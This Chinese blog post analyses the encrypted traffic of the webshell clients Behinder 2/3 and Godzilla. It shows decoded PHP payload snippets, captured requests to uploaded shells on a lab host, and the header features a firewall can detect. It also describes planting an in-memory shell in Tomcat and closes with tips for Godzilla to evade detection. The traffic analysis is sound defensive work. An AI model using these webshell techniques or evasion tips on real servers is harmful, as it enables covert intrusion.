一、冰蝎2

冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端。

冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输

(1)第一阶段:密钥协商

攻击者通过GET方式请求服务器密钥:

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

这个是代码:

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

这是服务端存储的$_SESSION变量

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

 (2)服务器使用密钥解密

服务端使用随机数高16位作为密钥,并且存储到会话的$_SESSION变量中,并返回密钥给攻击者

当我们输入命令操作后,请求方式就会变成POST

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

这个是代码段:

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

因为我本地是有openssl扩展的,所以执行else里面的代码段

可以看到服务端用之前生成的密钥进行AES128解密请求的post数据

这个是我大概写的一个输出脚本:

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

base64解码:

 1 @error_reporting(0);
 2 function main($content)
 3 {
 4     $result = array();
 5     $result["status"] = base64_encode("success");
 6     $result["msg"] = base64_encode($content);
 7     $key = $_SESSION['k'];
 8     echo encrypt(json_encode($result),$key);
 9 }
10 
11 function encrypt($data,$key)
12 {
13     if(!extension_loaded('openssl'))
14         {
15             for($i=0;$i<strlen($data);$i++) {
16                  $data[$i] = $data[$i]^$key[$i+1&15]; 
17                 }
18             return $data;
19         }
20     else
21         {
22             return openssl_encrypt($data, "AES128", $key);
23         }
24 }$content="713fd3e0-d2c2-4536-8391-ae12c124a44f";
25 main($content);

然后服务端脚本继续往下执行:

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

这几行的代码就十分好懂了,用分割线生成数组,然后取数组第1位元素的值,最后eval执行

显然它将返回结果也加密了

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

(3)特征总结

a.ACCEPT字段

冰蝎2默认Accept字段的值很特殊,而且每个阶段都一样

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

b.UA字段

冰蝎内置了十余种 UserAgent ,每次连接 shell 会随机选择一个进行使用。但都是比较老的,容易被检测到,但是可以在burp中修改ua头。

c.Content-Length

Content-Length: 16, 16就是冰蝎2连接的特征

二、冰蝎3

对比冰蝎2,冰蝎3取消动态密钥获取,目前很多waf等设备都做了冰蝎2的流量特征分析,所以3取消了动态密钥获取;只有在无动态密钥交互失败后,才会进入常规的密钥交互阶段。

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

密钥生成可以看出,使用密码的md5结果的前16位。

特征分析:

1)Accept头有application/xhtml+xmlapplication/xmlapplication/signed-exchange属于弱特征

2)ua头该特征属于弱特征。通过burp可以修改,冰蝎3.0内置的默认16个userAgent都比较老。现实生活中很少有人使用,所以这个也可以作为waf规则特征。

数据包加密分析:

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

当我们去请求连接服务端的shell_bing3.0.php时,会在服务端的会话中存储一个值为”e45e329feb5d925b”的$_SESSION变量,也就是密钥$key

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

然后服务端用生成的密钥去解密请求的POST数据包内容

这是我写的小脚本(我其实就是想看看发送的POST数据包内容)

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

解密结果:

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

再次进行base64解密:

 1 @error_reporting(0);
 2 function main($content)
 3 {
 4     $result = array();
 5     $result["status"] = base64_encode("success");
 6     $result["msg"] = base64_encode($content);
 7     $key = $_SESSION['k'];
 8     echo encrypt(json_encode($result),$key);
 9 }
10 
11 function encrypt($data,$key)
12 {
13     if(!extension_loaded('openssl'))
14         {
15             for($i=0;$i<strlen($data);$i++) {
16                  $data[$i] = $data[$i]^$key[$i+1&15]; 
17                 }
18             return $data;
19         }
20     else
21         {
22             return openssl_encrypt($data, "AES128", $key);
23         }
24 }$content="Xg7QPeZL9pqCKhXs8Sug7C2Uxnoi39z7DQup7oysPVx60VpOEt2HgP1mGm95uA1b1xJ8tjz29YKZSHWDTFQ5MUbFDdzrx4buFBVj2taUJYTbHUq3fa763mSMOirkT9rs99vKdHEuHoZCqBpawjqQQUejU5aHE4FAHHcF24mOpPsL2TU9JgngUkPwPRJZRtXwF";
25 main($content);

@error_reporting(0);
function main($content)
{
    $result = array();
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    $key = $_SESSION['k'];
    echo encrypt(json_encode($result),$key);
}

function encrypt($data,$key)
{
    if(!extension_loaded('openssl'))
        {
            for($i=0;$i<strlen($data);$i++) {
                 $data[$i] = $data[$i]^$key[$i+1&15]; 
                }
            return $data;
        }
    else
        {
            return openssl_encrypt($data, "AES128", $key);
        }
}$content="Xg7QPeZL9pqCKhXs8Sug7C2Uxnoi39z7DQup7oysPVx60VpOEt2HgP1mGm95uA1b1xJ8tjz29YKZSHWDTFQ5MUbFDdzrx4buFBVj2taUJYTbHUq3fa763mSMOirkT9rs99vKdHEuHoZCqBpawjqQQUejU5aHE4FAHHcF24mOpPsL2TU9JgngUkPwPRJZRtXwF";
main($con

后面的执行代码其实跟冰蝎2类似

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

三、哥斯拉

介绍

哥斯拉是一个基于流量、HTTP全加密的webshell管理工具相对于蚁剑,冰蝎;哥斯拉具有以下优点。

全部类型的shell均过市面所有静态查杀

流量加密过市面全部流量waf

Godzilla自带的插件是冰蝎、蚁剑不能比拟的

使用

(1)Godzilla的运行需要java环境,win下直接双击就可,linux下java -jar Godzilla.jar

此时会在同目录下生成data.db数据库存放数据

(2)Godzilla的webshell可以自定义生成操作方法:管理-生成所需的webshell,哥斯拉支持jsp、php、aspx等多种载荷java和c#的载荷原生实现AES加密

java使用AES加密

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

php使用异或加密

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

(3)将生成的webshell上传到目标机器,然后在Godzilla目标栏添加相应的url

PHP连接特征

(1)php_XOR_BASE64

设置代理,用burp抓包。截取到特征发现请求都含有”pass=”第一个包

POST /hackable/uploads/base.php HTTP/1.1
User-Agent: Java/1.8.0_131
Host: 192.168.0.132:777
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 23275
Connection: close
​
pass=KX4nWAFVJ005aWdeUVosCjpuL0k7YApWKGVGfHFTUXg5WDNFOwszSQEDAVVRWjdGKHU3RwBgLEkGRgV5e3cgVCpxP0YBVVBRB3d3WlFZJ0c5bjdcAVEGUgB2BEh%2BXQJeMGMdQAMKN2M
BAmALeE1UWjpuK1wsUjN%2FAVx7RGhzNFwpBFRcBn9YTylIXkJ9Q1F4J2cKVyt7IF4CZmxVeXczVTYGM2Q3CA1pN11GW2taDUQ6bitKOgpYTjlmAFRrWSdJOWE3QAFRK10zZQQCUVo3XyhuFn4hUSBeKnJ0VXt3IFQycS8FAX8nQwAADERRczdGOwQvWAEKN1ICaXxdeW
ASfSBfJFcreyMAJ2BafHFdIFQqdSdJOGAzCABcAVVrWSdJOWI8ADBvVFMBA2deeXM3ATphHXcGb1RTKHJeQn1DUXgFZ1V7JmkRVAdmAFhWcw1FAV8nWQdgI1EAAntUUAcjXwFaXFk7YC9VOXZZS3l3DQQnZwp
XK3sgXgJmbF17YSNeAmEdXDoKNw0CaXsCUU0GXTpYCUc7YC9DOwMMRWhjVFU6WyNKOG8zSQBYVkJ5bBJ9IF8kVyt7IF4qcnRVY3NQQTlxCUkpewVQBml3WlE

第二个包

POST /hackable/uploads/base.php HTTP/1.1
User-Agent: Java/1.8.0_131
Host: 192.168.0.132:777
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 51
Connection: close
​
pass=AWEzAAN%2FWFI3XHNGaGBQWDEHPwY4fSQAM2AIDw%3D%3D

(2)php_XOR_RAW

执行ls和cat命令,命令虽然不同,但是发现请求中都含有一样的

:•T[6•
L9e

ls命令的包

POST /hackable/uploads/g.php HTTP/1.1
Cookie: PHPSESSID=oo9hn9d3uqq7661o3oldu0ojo7;
User-Agent: Java/1.8.0_131
Host: 192.168.0.132:777
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 56
Connection: close
​
:•T[6•
L9e•[aqP•)[T••O9t

cat命令的包

POST /hackable/uploads/g.php HTTP/1.1
Cookie: PHPSESSID=oo9hn9d3uqq7661o3oldu0ojo7;
User-Agent: Java/1.8.0_131
Host: 192.168.0.132:777
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 72
Connection: close
​
:•T[6•
L9e•h•_8D0c+r•}•L6[gYccY
)[T••O9t

当以为这就是特征时就大错特错了,这只是这一次连接所含有的特征

内存马

内存shell模块实现了在tomcat中上传一个哥斯拉的马或者冰蝎、菜刀的马。甚至是上传regeorg建立http隧道。

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

在这里我选择上传一个冰蝎马。

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

然后在冰蝎连接,成功连接。

冰蝎2,3及哥斯拉特征分析-风君雪科技博客

内存shell 无日志,会在tomcat重启后消失。

ps:哥斯拉避免被查杀技巧:

1.不使用默认密码(pass)

2.修改ua头

3.填充垃圾数据(post的左右)

参考:https://www.freebuf.com/articles/web/257956.html